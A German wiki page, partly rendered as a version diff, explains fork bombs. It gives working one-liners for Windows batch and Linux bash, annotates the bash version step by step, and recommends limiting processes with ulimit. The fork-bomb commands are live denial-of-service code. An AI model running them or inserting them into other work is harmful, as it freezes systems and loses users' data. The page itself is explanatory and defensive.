Forkbomb: Unterschied zwischen den Versionen
Keine Bearbeitungszusammenfassung |
Keine Bearbeitungszusammenfassung |
||
Zeile 15: | Zeile 15: | ||
:() # ":" -- immer wenn ":" aufgerufen wird, tue das folgende: | :() # ":" -- immer wenn ":" aufgerufen wird, tue das folgende: | ||
{ # | { # | ||
: # eine neue Kopie von ":" laden | : # eine neue Kopie von ":" laden | ||
| # … und seine Standardausgabe umleiten auf … | | # … und seine Standardausgabe umleiten auf … |
Version vom 23. Juli 2019, 15:14 Uhr
Beschreibung
Eine Forkbomb, auch Rabbit genannt, ist ein Programm, dessen einziger Zweck es ist, rekursiv Kopien seiner selbst zu starten, alle verfügbaren Systemressourcen zu verbrauchen und so das System zu blockieren.
Microsoft-Windows-Batch-Datei
%0|%0
Linux
:(){ :|:& };:
Erläuterung des befehls:(){ :|:& };:
:() # ":" -- immer wenn ":" aufgerufen wird, tue das folgende: { # : # eine neue Kopie von ":" laden | # … und seine Standardausgabe umleiten auf … : # … eine weitere Kopie von ":" (die auch in den Speicher geladen werden muss) # (":|:" erzeugt also einfach 2 Kopien von ":", immer wenn es aufgerufen wird) & # die Befehlszeile unabhängig vom aufrufenden Prozess machen (im Hintergrund ausführen)
} #
- # Durch ";" wird die Definition von "
- " beendet
- # …und durch den Aufruf von ":" die Kettenreaktion in Gang gesetzt.
Gegenmasnahmen
- Mit der eingabe der zahl 1000 werden die prozesse auf 1000 begrenzt.
ulimit -u 1000
weitere info zum artikel ulimit